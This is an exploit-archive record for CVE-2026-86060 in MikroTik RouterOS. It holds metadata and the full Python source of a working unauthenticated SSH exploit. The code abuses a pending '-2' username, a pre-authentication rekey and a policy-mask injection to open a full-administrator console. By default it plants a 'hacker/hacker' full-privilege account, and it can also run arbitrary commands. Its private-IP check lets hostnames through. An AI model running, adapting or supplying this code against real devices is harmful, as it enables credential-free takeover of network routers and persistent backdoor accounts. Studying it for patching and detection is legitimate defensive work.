{"exploit":{"id":"EDB-52683","name":"MikroTik RouterOS 6.0.0/6.49.21/7.0.0/7.23.4/7.24/7.24.2 - Remote Code Execution (RCE)","description":"MikroTik RouterOS 6.0.0/6.49.21/7.0.0/7.23.4/7.24/7.24.2 - Remote Code Execution (RCE)","cves":["CVE-2026-86060"],"author":"DigiProSec","published":"2026-09-24","platform":"multiple","type":"remote","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52683","path":"exploits/multiple/remote/52683.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52683.py","vulnerabilities":[{"id":"CVE-2026-86060","state":"PUBLISHED","title":"SSH session privilege manipulation via a crafted username in Mikrotik RouterOS","titleSource":"CVE Program","description":"RouterOS contains an argument-handling flaw in the SSH login path involving usernames that begin with a prohibited character, allowing for the trusted RouterOS policy mask to be changed, leading to privilege escalation. Exploitation requires an unauthenticated SSH session to reach the RouterOS login helper.This issue was fixed in versions: 6.49.21 (Long-term), 7.23.4 (Long-term) and 7.24.2 (Stable)","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-86060","cvss":{"version":"4.0","baseScore":9.2,"severity":"critical","vectorString":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","source":"CERT-PL","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-86060"},"updatedAt":"2026-09-11T03:55:59.761Z","retrievedAt":"2026-11-25T16:13:33.908Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52683.png?v=2","url":"https://exploitbin.com/exploits/EDB-52683","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52683/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52683/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/env python3\n#\n# Exploit Title: MikroTik RouterOS <= 7.23.3 - Unauthenticated SSH Session Policy-Mask Swap (Full Admin)\n# Date: 2026-09-17\n# Exploit Author: DigiProSec\n# Vendor Homepage: https://mikrotik.com\n# Software Link: https://mikrotik.com/download\n# Version: RouterOS < 6.49.21, 7.0 < 7.23.4, 7.24.0 < 7.24.2 (fixed in 6.49.21 / 7.23.4 / 7.24.2)\n# Tested on: MikroTik CHR 7.23.3 (x86_64), Kali Linux 2025.x, python3-paramiko\n# CVE: CVE-2026-86060\n#\n# CVE-2026-86060 — Unauthenticated full takeover of MikroTik RouterOS via\n# SSH session policy-mask swap (\"MikroTrick\" campaign, in the wild from\n# 2026-09-02; CERT.pl withheld exploit-enabling detail)\n#\n# Chain:\n#   1. USERAUTH as \"-2\"      instantly rejected, but the username stays PENDING\n#                            in the server's session state (unnamed state bug).\n#                            Produces the IoC: \"login failure for user -2\".\n#   2. CVE-2026-67279        a rekey requested before authentication makes the\n#                            server lose the \"must be authenticated\" gate.\n#   3. CHANNEL_OPEN + PTY    honored without authentication; the interactive\n#                            shell spawns /nova/bin/login with the pending \"-2\".\n#   4. CVE-2026-86060        the login helper's legacy transport treats a\n#                            dash-led positional as a file descriptor: it reads\n#                            up to 4096 bytes from fd 2 (the PTY) and splits on\n#                            NUL into REPLACEMENT IDENTITY + REPLACEMENT POLICY\n#                            MASK. Feed it: \"0\" NUL \"4294967295\" NUL VEOF VEOF.\n#                            The all-ones mask is clamped to RouterOS's full\n#                            policy set (0x9fe6e). The session comes up as full\n#                            administrator. Actions are logged as ssh:-2@<ip> —\n#                            the byte-for-byte campaign fingerprint.\n#\n# Tested: CHR 7.23.3 (vulnerable) vs CHR 7.23.4 (patched, exploit correctly\n# fails). Deterministic: 3/3 runs in lab.\n# Notes:  - Only the SSH service (port 22) is required; default config is\n#           vulnerable. No credentials, no user interaction.\n#         - This is a lab client: it refuses non-private IP targets.\n#         - paramiko is used for transport plumbing only; the bugs are\n#           triggered by patching paramiko's client-side auth gate, all\n#           exploit semantics are implemented here.\n#\n# Usage:  python3 poc_mikrotrick.py <host>                  # interactive full-admin console\n#         python3 poc_mikrotrick.py <host> \"<ros command>\"  # run one command, exit\n#\nimport ipaddress\nimport sys\nimport time\n\nimport paramiko\n\nIDENTITY = b\"0\"                  # replacement identity (becomes the prompt user)\nMASK = b\"4294967295\"             # all-ones -> clamped to full policy set\nVEOF = b\"\\x04\"                   # PTY VEOF control byte\n\n\ndef check_target(host):\n    try:\n        ip = ipaddress.ip_address(host)\n        if not ip.is_private:\n            print(f\"[-] {host} is not a private address; lab client refuses\")\n            return False\n    except ValueError:\n        pass  # hostname — assume lab\n    return True\n\n\ndef drain_until(chan, want, timeout):\n    end = time.time() + timeout\n    buf = b\"\"\n    while time.time() < end:\n        if chan.recv_ready():\n            buf += chan.recv(65536)\n            if want in buf:\n                return buf, True\n        time.sleep(0.05)\n    return buf, False\n\n\ndef exploit(host):\n    \"\"\"Open a full-admin RouterOS console channel. Returns (transport, chan).\"\"\"\n    t = paramiko.Transport((host, 22))\n    t.start_client(timeout=10)\n\n    # step 1 — leave \"-2\" pending in server session state\n    try:\n        t.auth_password(\"-2\", \"x\")\n    except paramiko.AuthenticationException:\n        pass\n    print(\"[1] '-2' rejected (pending in session state)\")\n\n    # step 2 — CVE-2026-67279: pre-auth rekey drops the server-side auth gate\n    t.renegotiate_keys()\n    print(\"[2] rekey done (CVE-2026-67279)\")\n\n    # step 3 — open a session channel unauthenticated (client-side gate is\n    # patched; the SERVER is the one that incorrectly honors the open)\n    if not t.is_authenticated():\n        t.is_authenticated = lambda: True\n    chan = t.open_session(timeout=10)\n    chan.get_pty(term=\"vt100\", width=120, height=40)\n    chan.invoke_shell()\n    print(\"[3] session channel open without authentication\")\n\n    # step 4 — CVE-2026-86060: feed the login helper's fd-2 read.\n    # Framing: identity NUL mask NUL, then two VEOF bytes (canonical-mode PTY:\n    # first VEOF delivers the buffer without appending, second yields EOF).\n    time.sleep(0.6)\n    chan.send(IDENTITY + b\"\\x00\" + MASK + b\"\\x00\" + VEOF + VEOF)\n    print(\"[4] fd-2 identity/policy frame sent (CVE-2026-86060)\")\n\n    # the RouterOS console interrogates the terminal; answer its DSR probe\n    # whenever it appears, and keep draining until the prompt shows up\n    end = time.time() + 12\n    buf = b\"\"\n    while time.time() < end:\n        if chan.recv_ready():\n            buf += chan.recv(65536)\n            if b\"\\x1b[6n\" in buf:\n                chan.send(b\"\\x1b[24;80R\")\n                buf = buf.replace(b\"\\x1b[6n\", b\"\", 1)\n            if b\"] >\" in buf:\n                break\n        time.sleep(0.05)\n    else:\n        raise RuntimeError(\"no RouterOS prompt after policy frame — exploit failed\")\n    print(\"[+] full-admin RouterOS console is up\")\n    return t, chan\n\n\ndef run(chan, command, settle=1.5):\n    chan.send(command.encode() + b\"\\r\")\n    out, _ = drain_until(chan, b\"] >\", 8)\n    # console text carries \\r overwrites and ANSI colors — normalize for display\n    import re as _re\n    text = out.decode(errors=\"replace\")\n    text = _re.sub(r\"\\x1b\\[[0-9;?]*[a-zA-Z]|\\x1bZ\", \"\", text)\n    lines = [ln.strip() for ln in text.replace(\"\\r\", \"\\n\").split(\"\\n\")]\n    lines = [ln for ln in lines if ln and not ln.endswith(\"] > \" + command)\n             and ln != command\n             and not _re.fullmatch(r\"\\[[^\\]]*\\] >\\s*\", ln)]  # bare prompts\n    return \"\\n\".join(lines)\n\n\ndef interactive(chan):\n    \"\"\"Relay the local terminal to the channel until the session ends.\n\n    NOTE: the post-exploit console is unstable by design — a later rekey\n    re-arms the server-side auth gate and the channel dies without warning.\n    Kept for completeness; the default mode plants an account instead.\n    \"\"\"\n    import os, select, termios, tty\n    fd = sys.stdin.fileno()\n    old = termios.tcgetattr(fd)\n    try:\n        tty.setraw(fd)\n        chan.settimeout(0.0)\n        while True:\n            r, _, _ = select.select([chan, fd], [], [])\n            if chan in r:\n                data = chan.recv(65536)\n                if not data:\n                    break\n                while b\"\\x1b[6n\" in data:\n                    chan.send(b\"\\x1b[24;80R\")\n                    data = data.replace(b\"\\x1b[6n\", b\"\", 1)\n                while b\"\\x1b[5n\" in data:\n                    chan.send(b\"\\x1b[0n\")\n                    data = data.replace(b\"\\x1b[5n\", b\"\", 1)\n                if data:\n                    os.write(sys.stdout.fileno(), data)\n            if fd in r:\n                data = os.read(fd, 4096)\n                if not data:\n                    break\n                chan.send(data)\n    finally:\n        termios.tcsetattr(fd, termios.TCSADRAIN, old)\n\n\ndef plant_account(chan):\n    \"\"\"Create the hacker/hacker full-privilege account for the tester.\"\"\"\n    run(chan, \":do {/user remove hacker} on-error={}\")\n    run(chan, '/user add name=hacker group=full password=hacker comment=\"test account - remove when done\"')\n    out = run(chan, \"/user print where name=hacker\")\n    if \"hacker\" not in out:\n        raise RuntimeError(\"account plant failed\")\n\n\ndef main():\n    if len(sys.argv) < 2:\n        print(\"usage: python3 poc_mikrotrick.py <host> [\\\"<ros command>\\\"]\")\n        return 2\n    host = sys.argv[1]\n    if not check_target(host):\n        return 1\n\n    t, chan = exploit(host)\n    try:\n        if len(sys.argv) > 2:\n            print(run(chan, \" \".join(sys.argv[2:])))\n        else:\n            # default: plant a full-privilege test account and hand over the\n            # login command. The exploited console itself is unstable (a\n            # later rekey re-arms the auth gate and kills the channel), so\n            # the durable path is a normal SSH login.\n            plant_account(chan)\n            print(\"[+] full-privilege account planted: hacker / hacker\")\n            print(f\"[*] log in with:  ssh hacker@{host}\")\n            print(f\"[*] when finished, remove it: /user remove hacker\")\n    finally:\n        t.close()\n    return 0\n\n\nif __name__ == \"__main__\":\n    sys.exit(main())","sha256":"94d9d134ea5829950d3565acd91ab3b69ecfc3b30d2b24dca1c6e8428441a490","bytes":8679,"fetchedAt":"2026-11-25T10:17:06.404Z","encoding":"utf-8 (display only; download retains original bytes)"}